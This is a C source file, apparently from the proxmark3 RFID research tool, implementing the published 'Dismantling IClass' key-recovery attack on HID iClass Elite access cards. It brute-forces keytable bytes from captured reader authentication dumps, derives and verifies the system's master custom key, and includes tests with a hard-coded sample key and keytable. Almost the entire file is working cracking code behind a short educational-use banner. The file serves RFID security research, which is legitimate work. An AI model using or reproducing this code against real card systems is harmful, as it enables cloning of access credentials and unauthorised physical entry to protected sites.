mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2024-11-15 06:09:13 +08:00
689 lines
No EOL
22 KiB
C
689 lines
No EOL
22 KiB
C
/*****************************************************************************
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* WARNING
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*
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* THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY.
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*
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* USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL
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* PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL,
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* AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES.
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*
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* THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS.
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*
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*****************************************************************************
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*
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* This file is part of loclass. It is a reconstructon of the cipher engine
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* used in iClass, and RFID techology.
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*
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* The implementation is based on the work performed by
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* Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and
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* Milosch Meriac in the paper "Dismantling IClass".
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*
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* Copyright (C) 2014 Martin Holst Swende
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*
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* This is free software: you can redistribute it and/or modify
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* it under the terms of the GNU General Public License version 2 as published
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* by the Free Software Foundation, or, at your option, any later version.
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*
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* This file is distributed in the hope that it will be useful,
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* but WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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* GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License
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* along with loclass. If not, see <http://www.gnu.org/licenses/>.
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*
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*
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*
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****************************************************************************/
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#include <stdint.h>
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#include <stdbool.h>
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#include <string.h>
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#include <stdio.h>
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#include <time.h>
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#include "cipherutils.h"
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#include "cipher.h"
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#include "ikeys.h"
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#include "elite_crack.h"
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#include "fileutils.h"
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#include "des.h"
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#include "util_posix.h"
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/**
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* @brief Permutes a key from standard NIST format to Iclass specific format
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* from http://www.proxmark.org/forum/viewtopic.php?pid=11220#p11220
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*
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* If you permute [6c 8d 44 f9 2a 2d 01 bf] you get [8a 0d b9 88 bb a7 90 ea] as shown below.
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*
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* 1 0 1 1 1 1 1 1 bf
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* 0 0 0 0 0 0 0 1 01
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* 0 0 1 0 1 1 0 1 2d
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* 0 0 1 0 1 0 1 0 2a
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* 1 1 1 1 1 0 0 1 f9
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* 0 1 0 0 0 1 0 0 44
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* 1 0 0 0 1 1 0 1 8d
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* 0 1 1 0 1 1 0 0 6c
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*
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* 8 0 b 8 b a 9 e
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* a d 9 8 b 7 0 a
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*
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* @param key
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* @param dest
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*/
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void permutekey(uint8_t key[8], uint8_t dest[8]) {
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int i;
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for(i = 0 ; i < 8 ; i++) {
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dest[i] = (((key[7] & (0x80 >> i)) >> (7-i)) << 7) |
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(((key[6] & (0x80 >> i)) >> (7-i)) << 6) |
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(((key[5] & (0x80 >> i)) >> (7-i)) << 5) |
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(((key[4] & (0x80 >> i)) >> (7-i)) << 4) |
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(((key[3] & (0x80 >> i)) >> (7-i)) << 3) |
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(((key[2] & (0x80 >> i)) >> (7-i)) << 2) |
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(((key[1] & (0x80 >> i)) >> (7-i)) << 1) |
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(((key[0] & (0x80 >> i)) >> (7-i)) << 0);
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}
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}
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/**
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* Permutes a key from iclass specific format to NIST format
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* @brief permutekey_rev
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* @param key
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* @param dest
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*/
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void permutekey_rev(uint8_t key[8], uint8_t dest[8]) {
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int i;
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for(i = 0 ; i < 8 ; i++) {
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dest[7-i] = (((key[0] & (0x80 >> i)) >> (7-i)) << 7) |
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(((key[1] & (0x80 >> i)) >> (7-i)) << 6) |
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(((key[2] & (0x80 >> i)) >> (7-i)) << 5) |
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(((key[3] & (0x80 >> i)) >> (7-i)) << 4) |
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(((key[4] & (0x80 >> i)) >> (7-i)) << 3) |
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(((key[5] & (0x80 >> i)) >> (7-i)) << 2) |
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(((key[6] & (0x80 >> i)) >> (7-i)) << 1) |
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(((key[7] & (0x80 >> i)) >> (7-i)) << 0);
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}
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}
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/**
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* Helper function for hash1
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* @brief rr
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* @param val
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* @return
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*/
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uint8_t rr(uint8_t val) {
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return val >> 1 | (( val & 1) << 7);
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}
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/**
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* Helper function for hash1
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* @brief rl
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* @param val
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* @return
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*/
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uint8_t rl(uint8_t val) {
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return val << 1 | (( val & 0x80) >> 7);
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}
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/**
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* Helper function for hash1
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* @brief swap
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* @param val
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* @return
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*/
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uint8_t swap(uint8_t val) {
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return ((val >> 4) & 0xFF) | ((val &0xFF) << 4);
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}
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/**
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* Hash1 takes CSN as input, and determines what bytes in the keytable will be used
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* when constructing the K_sel.
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* @param csn the CSN used
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* @param k output
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*/
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void hash1(uint8_t csn[] , uint8_t k[]) {
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k[0] = csn[0] ^ csn[1] ^ csn[2] ^ csn[3] ^ csn[4] ^ csn[5] ^ csn[6] ^ csn[7];
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k[1] = csn[0] + csn[1] + csn[2] + csn[3] + csn[4] + csn[5] + csn[6] + csn[7];
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k[2] = rr(swap( csn[2] + k[1] ));
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k[3] = rl(swap( csn[3] + k[0] ));
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k[4] = ~rr( csn[4] + k[2] ) + 1;
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k[5] = ~rl( csn[5] + k[3] ) + 1;
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k[6] = rr( csn[6] + (k[4] ^ 0x3c) );
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k[7] = rl( csn[7] + (k[5] ^ 0xc3) );
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k[7] &= 0x7F;
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k[6] &= 0x7F;
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k[5] &= 0x7F;
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k[4] &= 0x7F;
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k[3] &= 0x7F;
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k[2] &= 0x7F;
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k[1] &= 0x7F;
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k[0] &= 0x7F;
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}
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/**
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Definition 14. Define the rotate key function rk : (F 82 ) 8 × N → (F 82 ) 8 as
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rk(x [0] . . . x [7] , 0) = x [0] . . . x [7]
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rk(x [0] . . . x [7] , n + 1) = rk(rl(x [0] ) . . . rl(x [7] ), n)
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**/
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void rk(uint8_t *key, uint8_t n, uint8_t *outp_key) {
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memcpy(outp_key, key, 8);
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uint8_t j;
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while (n-- > 0) {
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for (j=0; j < 8 ; j++)
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outp_key[j] = rl(outp_key[j]);
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}
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return;
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}
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static des_context ctx_enc = {DES_ENCRYPT,{0}};
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static des_context ctx_dec = {DES_DECRYPT,{0}};
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void desdecrypt_iclass(uint8_t *iclass_key, uint8_t *input, uint8_t *output) {
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uint8_t key_std_format[8] = {0};
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permutekey_rev(iclass_key, key_std_format);
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des_setkey_dec( &ctx_dec, key_std_format);
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des_crypt_ecb(&ctx_dec,input,output);
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}
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void desencrypt_iclass(uint8_t *iclass_key, uint8_t *input, uint8_t *output) {
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uint8_t key_std_format[8] = {0};
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permutekey_rev(iclass_key, key_std_format);
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des_setkey_enc( &ctx_enc, key_std_format);
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des_crypt_ecb(&ctx_enc,input,output);
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}
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/**
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* @brief Insert uint8_t[8] custom master key to calculate hash2 and return key_select.
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* @param key unpermuted custom key
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* @param hash1 hash1
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* @param key_sel output key_sel=h[hash1[i]]
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*/
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void hash2(uint8_t *key64, uint8_t *outp_keytable) {
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/**
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*Expected:
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* High Security Key Table
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00 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
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10 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
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20 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
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30 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
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40 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
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50 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
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60 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
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70 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
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**** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ******/
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uint8_t key64_negated[8] = {0};
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uint8_t z[8][8]={{0},{0}};
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uint8_t temp_output[8]={0};
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//calculate complement of key
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int i;
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for (i=0; i<8; i++)
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key64_negated[i]= ~key64[i];
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// Once again, key is on iclass-format
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desencrypt_iclass(key64, key64_negated, z[0]);
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// PrintAndLogDevice(NORMAL, "\n"); PrintAndLogDevice(NORMAL, "High security custom key (Kcus):");
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// printvar("z0 ", z[0],8);
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uint8_t y[8][8]={{0},{0}};
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// y[0]=DES_dec(z[0],~key)
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// Once again, key is on iclass-format
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desdecrypt_iclass(z[0], key64_negated, y[0]);
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// printvar("y0 ", y[0],8);
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for (i=1; i<8; i++) {
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// z [i] = DES dec (rk(K cus , i), z [i−1] )
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rk(key64, i, temp_output);
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//y [i] = DES enc (rk(K cus , i), y [i−1] )
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desdecrypt_iclass(temp_output,z[i-1], z[i]);
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desencrypt_iclass(temp_output,y[i-1], y[i]);
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}
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if (outp_keytable != NULL) {
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for (i = 0 ; i < 8 ; i++) {
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memcpy(outp_keytable+i*16,y[i],8);
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memcpy(outp_keytable+8+i*16,z[i],8);
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}
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} else {
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printarr_human_readable("hash2", outp_keytable,128);
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}
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}
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/**
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* @brief Reads data from the iclass-reader-attack dump file.
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* @param dump, data from a iclass reader attack dump. The format of the dumpdata is expected to be as follows:
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* <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC><8 byte HASH1><1 byte NUM_BYTES_TO_RECOVER><3 bytes BYTES_TO_RECOVER>
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* .. N times...
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*
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* So the first attack, with 3 bytes to recover would be : ... 03000145
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* And a later attack, with 1 byte to recover (byte 0x5)would be : ...01050000
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* And an attack, with 2 bytes to recover (byte 0x5 and byte 0x07 )would be : ...02050700
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*
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* @param cc_nr an array to store cc_nr into (12 bytes)
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* @param csn an arracy ot store CSN into (8 bytes)
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* @param received_mac an array to store MAC into (4 bytes)
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* @param i the number to read. Should be less than 127, or something is wrong...
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* @return
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*/
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int _readFromDump(uint8_t dump[], dumpdata* item, uint8_t i) {
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size_t itemsize = sizeof(dumpdata);
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memcpy(item, dump+i*itemsize, itemsize);
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if (true) {
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printvar("csn", item->csn, sizeof(item->csn));
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printvar("cc_nr", item->cc_nr, sizeof(item->cc_nr));
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printvar("mac", item->mac, sizeof(item->mac));
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}
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return 0;
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}
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//static uint32_t startvalue = 0;
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/**
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* @brief Performs brute force attack against a dump-data item, containing csn, cc_nr and mac.
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*This method calculates the hash1 for the CSN, and determines what bytes need to be bruteforced
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*on the fly. If it finds that more than three bytes need to be bruteforced, it aborts.
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*It updates the keytable with the findings, also using the upper half of the 16-bit ints
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*to signal if the particular byte has been cracked or not.
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*
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* @param dump The dumpdata from iclass reader attack.
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* @param keytable where to write found values.
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* @return
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*/
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int bruteforceItem(dumpdata item, uint16_t keytable[]) {
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int errors = 0;
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int found = false;
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uint8_t key_sel_p[8] = {0};
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uint8_t div_key[8] = {0};
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uint8_t key_sel[8] = {0};
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uint8_t calculated_MAC[4] = {0};
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//Get the key index (hash1)
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uint8_t key_index[8] = {0};
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hash1(item.csn, key_index);
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/*
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* Determine which bytes to retrieve. A hash is typically
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* 01010000454501
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* We go through that hash, and in the corresponding keytable, we put markers
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* on what state that particular index is:
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* - CRACKED (this has already been cracked)
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* - BEING_CRACKED (this is being bruteforced now)
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* - CRACK_FAILED (self-explaining...)
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*
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* The markers are placed in the high area of the 16 bit key-table.
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* Only the lower eight bits correspond to the (hopefully cracked) key-value.
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**/
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uint8_t bytes_to_recover[3] = {0};
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uint8_t numbytes_to_recover = 0 ;
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int i;
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for (i=0; i<8; i++) {
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if (keytable[key_index[i]] & (CRACKED | BEING_CRACKED)) continue;
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bytes_to_recover[numbytes_to_recover++] = key_index[i];
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keytable[key_index[i]] |= BEING_CRACKED;
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if (numbytes_to_recover > 3) {
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PrintAndLogDevice(FAILED, "The CSN requires > 3 byte bruteforce, not supported");
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printvar("[-] CSN", item.csn, 8);
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printvar("[-] HASH1", key_index, 8);
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PrintAndLogDevice(NORMAL, "");
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//Before we exit, reset the 'BEING_CRACKED' to zero
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keytable[bytes_to_recover[0]] &= ~BEING_CRACKED;
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keytable[bytes_to_recover[1]] &= ~BEING_CRACKED;
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keytable[bytes_to_recover[2]] &= ~BEING_CRACKED;
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return 1;
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}
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}
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/*
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*A uint32 has room for 4 bytes, we'll only need 24 of those bits to bruteforce up to three bytes,
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*/
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//uint32_t brute = startvalue;
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uint32_t brute = 0;
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/*
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Determine where to stop the bruteforce. A 1-byte attack stops after 256 tries,
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(when brute reaches 0x100). And so on...
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bytes_to_recover = 1 --> endmask = 0x000000100
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bytes_to_recover = 2 --> endmask = 0x000010000
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bytes_to_recover = 3 --> endmask = 0x001000000
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*/
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uint32_t endmask = 1 << 8*numbytes_to_recover;
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PrintAndLogDevice(NORMAL, "----------------------------");
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for (i =0 ; i < numbytes_to_recover && numbytes_to_recover > 1; i++)
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PrintAndLogDevice(INFO, "Bruteforcing byte %d", bytes_to_recover[i]);
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while (!found && !(brute & endmask)) {
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//Update the keytable with the brute-values
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for (i=0; i < numbytes_to_recover; i++) {
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keytable[bytes_to_recover[i]] &= 0xFF00;
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keytable[bytes_to_recover[i]] |= (brute >> (i*8) & 0xFF);
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}
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// Piece together the key
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key_sel[0] = keytable[key_index[0]] & 0xFF;
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key_sel[1] = keytable[key_index[1]] & 0xFF;
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key_sel[2] = keytable[key_index[2]] & 0xFF;
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key_sel[3] = keytable[key_index[3]] & 0xFF;
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key_sel[4] = keytable[key_index[4]] & 0xFF;
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key_sel[5] = keytable[key_index[5]] & 0xFF;
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key_sel[6] = keytable[key_index[6]] & 0xFF;
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key_sel[7] = keytable[key_index[7]] & 0xFF;
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//Permute from iclass format to standard format
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permutekey_rev(key_sel, key_sel_p);
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//Diversify
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diversifyKey(item.csn, key_sel_p, div_key);
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//Calc mac
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doMAC(item.cc_nr, div_key, calculated_MAC);
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// success
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if (memcmp(calculated_MAC, item.mac, 4) == 0) {
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printf("\r\n");
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for (i =0 ; i < numbytes_to_recover; i++) {
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PrintAndLogDevice(INFO, "%d: 0x%02x", bytes_to_recover[i], 0xFF & keytable[bytes_to_recover[i]]);
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}
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found = true;
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break;
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}
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brute++;
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if ((brute & 0xFFFF) == 0) {
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printf("%3d,",(brute >> 16) & 0xFF);
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if ( ((brute >> 16) % 0x10) == 0)
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printf("\n");
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fflush(stdout);
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}
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}
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if (!found) {
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PrintAndLogDevice(NORMAL, "\n"); PrintAndLogDevice(WARNING, "Failed to recover %d bytes using the following CSN", numbytes_to_recover);
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printvar("[!] CSN", item.csn, 8);
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errors++;
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//Before we exit, reset the 'BEING_CRACKED' to zero
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for (i=0; i < numbytes_to_recover; i++){
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keytable[bytes_to_recover[i]] &= 0xFF;
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keytable[bytes_to_recover[i]] |= CRACK_FAILED;
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}
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} else {
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//PrintAndLogDevice(SUCCESS, "DES calcs: %u", brute);
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for (i=0; i < numbytes_to_recover; i++){
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keytable[bytes_to_recover[i]] &= 0xFF;
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keytable[bytes_to_recover[i]] |= CRACKED;
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}
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}
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return errors;
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}
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/**
|
||
* From dismantling iclass-paper:
|
||
* Assume that an adversary somehow learns the first 16 bytes of hash2(K_cus ), i.e., y [0] and z [0] .
|
||
* Then he can simply recover the master custom key K_cus by computing
|
||
* K_cus = ~DES(z[0] , y[0] ) .
|
||
*
|
||
* Furthermore, the adversary is able to verify that he has the correct K cus by
|
||
* checking whether z [0] = DES enc (K_cus , ~K_cus ).
|
||
* @param keytable an array (128 bytes) of hash2(kcus)
|
||
* @param master_key where to put the master key
|
||
* @return 0 for ok, 1 for failz
|
||
*/
|
||
int calculateMasterKey(uint8_t first16bytes[], uint64_t master_key[] ){
|
||
des_context ctx_e = {DES_ENCRYPT,{0}};
|
||
|
||
uint8_t z_0[8] = {0};
|
||
uint8_t y_0[8] = {0};
|
||
uint8_t z_0_rev[8] = {0};
|
||
uint8_t key64[8] = {0};
|
||
uint8_t key64_negated[8] = {0};
|
||
uint8_t result[8] = {0};
|
||
|
||
// y_0 and z_0 are the first 16 bytes of the keytable
|
||
memcpy(y_0,first16bytes,8);
|
||
memcpy(z_0,first16bytes+8,8);
|
||
|
||
// Our DES-implementation uses the standard NIST
|
||
// format for keys, thus must translate from iclass
|
||
// format to NIST-format
|
||
permutekey_rev(z_0, z_0_rev);
|
||
|
||
// ~K_cus = DESenc(z[0], y[0])
|
||
des_setkey_enc( &ctx_e, z_0_rev );
|
||
des_crypt_ecb(&ctx_e, y_0, key64_negated);
|
||
|
||
int i;
|
||
for (i = 0; i < 8 ; i++)
|
||
key64[i] = ~key64_negated[i];
|
||
|
||
// Can we verify that the key is correct?
|
||
// Once again, key is on iclass-format
|
||
uint8_t key64_stdformat[8] = {0};
|
||
permutekey_rev(key64, key64_stdformat);
|
||
|
||
des_setkey_enc( &ctx_e, key64_stdformat );
|
||
des_crypt_ecb(&ctx_e, key64_negated, result);
|
||
PrintAndLogDevice(NORMAL, "\n"); PrintAndLogDevice(SUCCESS, "-- High security custom key (Kcus) --");
|
||
printvar("[+] Standard format ", key64_stdformat, 8);
|
||
printvar("[+] iClass format ", key64, 8);
|
||
|
||
if (master_key != NULL)
|
||
memcpy(master_key, key64, 8);
|
||
|
||
if (memcmp(z_0,result,4) != 0) {
|
||
PrintAndLogDevice(WARNING, "Failed to verify calculated master key (k_cus)! Something is wrong.");
|
||
return 1;
|
||
} else {
|
||
PrintAndLogDevice(NORMAL, "\n"); PrintAndLogDevice(SUCCESS, "Key verified ok!\n");
|
||
}
|
||
return 0;
|
||
}
|
||
/**
|
||
* @brief Same as bruteforcefile, but uses a an array of dumpdata instead
|
||
* @param dump
|
||
* @param dumpsize
|
||
* @param keytable
|
||
* @return
|
||
*/
|
||
int bruteforceDump(uint8_t dump[], size_t dumpsize, uint16_t keytable[]) {
|
||
uint8_t i;
|
||
int errors = 0;
|
||
size_t itemsize = sizeof(dumpdata);
|
||
|
||
uint64_t t1 = msclock();
|
||
|
||
dumpdata* attack = (dumpdata* ) malloc(itemsize);
|
||
|
||
for (i = 0 ; i * itemsize < dumpsize ; i++ ) {
|
||
memcpy(attack, dump + i * itemsize, itemsize);
|
||
errors += bruteforceItem(*attack, keytable);
|
||
}
|
||
free(attack);
|
||
|
||
PrintAndLogDevice(SUCCESS, "time: %" PRIu64 " seconds", (msclock()-t1)/1000);
|
||
|
||
// Pick out the first 16 bytes of the keytable.
|
||
// The keytable is now in 16-bit ints, where the upper 8 bits
|
||
// indicate crack-status. Those must be discarded for the
|
||
// master key calculation
|
||
uint8_t first16bytes[16] = {0};
|
||
|
||
for (i = 0 ; i < 16 ; i++) {
|
||
first16bytes[i] = keytable[i] & 0xFF;
|
||
|
||
if (!(keytable[i] & CRACKED))
|
||
PrintAndLogDevice(WARNING, "error, we are missing byte %d, custom key calculation will fail...", i);
|
||
}
|
||
errors += calculateMasterKey(first16bytes, NULL);
|
||
return errors;
|
||
}
|
||
/**
|
||
* Perform a bruteforce against a file which has been saved by pm3
|
||
*
|
||
* @brief bruteforceFile
|
||
* @param filename
|
||
* @return
|
||
*/
|
||
int bruteforceFile(const char *filename, uint16_t keytable[]) {
|
||
FILE *f = fopen(filename, "rb");
|
||
if (!f) {
|
||
PrintAndLogDevice(WARNING, "Failed to read from file '%s'", filename);
|
||
return 1;
|
||
}
|
||
|
||
fseek(f, 0, SEEK_END);
|
||
long fsize = ftell(f);
|
||
fseek(f, 0, SEEK_SET);
|
||
|
||
if (fsize < 0) {
|
||
PrintAndLogDevice(WARNING, "Error, when getting filesize");
|
||
if (f) fclose(f);
|
||
return 1;
|
||
}
|
||
|
||
uint8_t *dump = malloc(fsize);
|
||
size_t bytes_read = fread(dump, 1, fsize, f);
|
||
|
||
if (f) fclose(f);
|
||
|
||
if (bytes_read < fsize) {
|
||
PrintAndLogDevice(WARNING, "Error, could only read %d bytes (should be %d)", bytes_read, fsize );
|
||
}
|
||
|
||
uint8_t res = bruteforceDump(dump, fsize, keytable);
|
||
free(dump);
|
||
return res;
|
||
}
|
||
/**
|
||
*
|
||
* @brief Same as above, if you don't care about the returned keytable (results only printed on screen)
|
||
* @param filename
|
||
* @return
|
||
*/
|
||
int bruteforceFileNoKeys(const char *filename) {
|
||
uint16_t keytable[128] = {0};
|
||
return bruteforceFile(filename, keytable);
|
||
}
|
||
|
||
// ---------------------------------------------------------------------------------
|
||
// ALL CODE BELOW THIS LINE IS PURELY TESTING
|
||
// ---------------------------------------------------------------------------------
|
||
// ----------------------------------------------------------------------------
|
||
// TEST CODE BELOW
|
||
// ----------------------------------------------------------------------------
|
||
int _testBruteforce() {
|
||
int errors = 0;
|
||
if (true) {
|
||
// First test
|
||
PrintAndLogDevice(INFO, "Testing crack from dumpfile...");
|
||
|
||
/**
|
||
Expected values for the dumpfile:
|
||
High Security Key Table
|
||
|
||
00 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
|
||
10 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
|
||
20 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
|
||
30 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
|
||
40 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
|
||
50 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
|
||
60 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
|
||
70 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
|
||
|
||
**** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ****
|
||
**/
|
||
uint16_t keytable[128] = {0};
|
||
|
||
//Test a few variants
|
||
if (fileExists("iclass_dump.bin")){
|
||
errors |= bruteforceFile("iclass_dump.bin", keytable);
|
||
} else if (fileExists("loclass/iclass_dump.bin")){
|
||
errors |= bruteforceFile("loclass/iclass_dump.bin", keytable);
|
||
} else if (fileExists("client/loclass/iclass_dump.bin")){
|
||
errors |= bruteforceFile("client/loclass/iclass_dump.bin", keytable);
|
||
} else {
|
||
PrintAndLogDevice(WARNING, "Error: The file iclass_dump.bin was not found!");
|
||
}
|
||
}
|
||
return errors;
|
||
}
|
||
|
||
int _test_iclass_key_permutation() {
|
||
uint8_t testcase[8] = {0x6c,0x8d,0x44,0xf9,0x2a,0x2d,0x01,0xbf};
|
||
uint8_t testcase_output[8] = {0};
|
||
uint8_t testcase_output_correct[8] = {0x8a,0x0d,0xb9,0x88,0xbb,0xa7,0x90,0xea};
|
||
uint8_t testcase_output_rev[8] = {0};
|
||
permutekey(testcase, testcase_output);
|
||
permutekey_rev(testcase_output, testcase_output_rev);
|
||
|
||
if (memcmp(testcase_output, testcase_output_correct,8) != 0) {
|
||
PrintAndLogDevice(WARNING, "Error with iclass key permute!");
|
||
printarr("testcase_output", testcase_output, 8);
|
||
printarr("testcase_output_correct", testcase_output_correct, 8);
|
||
return 1;
|
||
|
||
}
|
||
if (memcmp(testcase, testcase_output_rev, 8) != 0) {
|
||
PrintAndLogDevice(WARNING, "Error with reverse iclass key permute");
|
||
printarr("testcase", testcase, 8);
|
||
printarr("testcase_output_rev", testcase_output_rev, 8);
|
||
return 1;
|
||
}
|
||
|
||
PrintAndLogDevice(SUCCESS, "Iclass key permutation OK!");
|
||
return 0;
|
||
}
|
||
|
||
int _testHash1() {
|
||
uint8_t expected[8] = {0x7E,0x72,0x2F,0x40,0x2D,0x02,0x51,0x42};
|
||
uint8_t csn[8] = {0x01,0x02,0x03,0x04,0xF7,0xFF,0x12,0xE0};
|
||
uint8_t k[8] = {0};
|
||
hash1(csn, k);
|
||
|
||
if (memcmp(k,expected,8) != 0) {
|
||
PrintAndLogDevice(WARNING, "Error with hash1!");
|
||
printarr("calculated", k, 8);
|
||
printarr("expected", expected, 8);
|
||
return 1;
|
||
}
|
||
return 0;
|
||
}
|
||
|
||
int testElite() {
|
||
PrintAndLogDevice(INFO, "Testing iClass Elite functinality...");
|
||
PrintAndLogDevice(INFO, "Testing hash2");
|
||
uint8_t k_cus[8] = {0x5B,0x7C,0x62,0xC4,0x91,0xC1,0x1B,0x39};
|
||
|
||
/**
|
||
*Expected:
|
||
* High Security Key Table
|
||
|
||
00 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
|
||
10 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
|
||
20 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
|
||
30 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
|
||
40 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
|
||
50 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
|
||
60 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
|
||
70 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
|
||
|
||
|
||
|
||
**** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ****
|
||
*/
|
||
uint8_t keytable[128] = {0};
|
||
hash2(k_cus, keytable);
|
||
printarr_human_readable("Hash2", keytable, 128);
|
||
if (keytable[3] == 0xA1 && keytable[0x30] == 0xA3 && keytable[0x6F] == 0x95) {
|
||
PrintAndLogDevice(SUCCESS, "Hash2 looks fine...");
|
||
}
|
||
|
||
int errors = 0 ;
|
||
PrintAndLogDevice(INFO, "Testing hash1...");
|
||
errors += _testHash1();
|
||
PrintAndLogDevice(INFO, "Testing key diversification ...");
|
||
errors +=_test_iclass_key_permutation();
|
||
errors += _testBruteforce();
|
||
return errors;
|
||
} |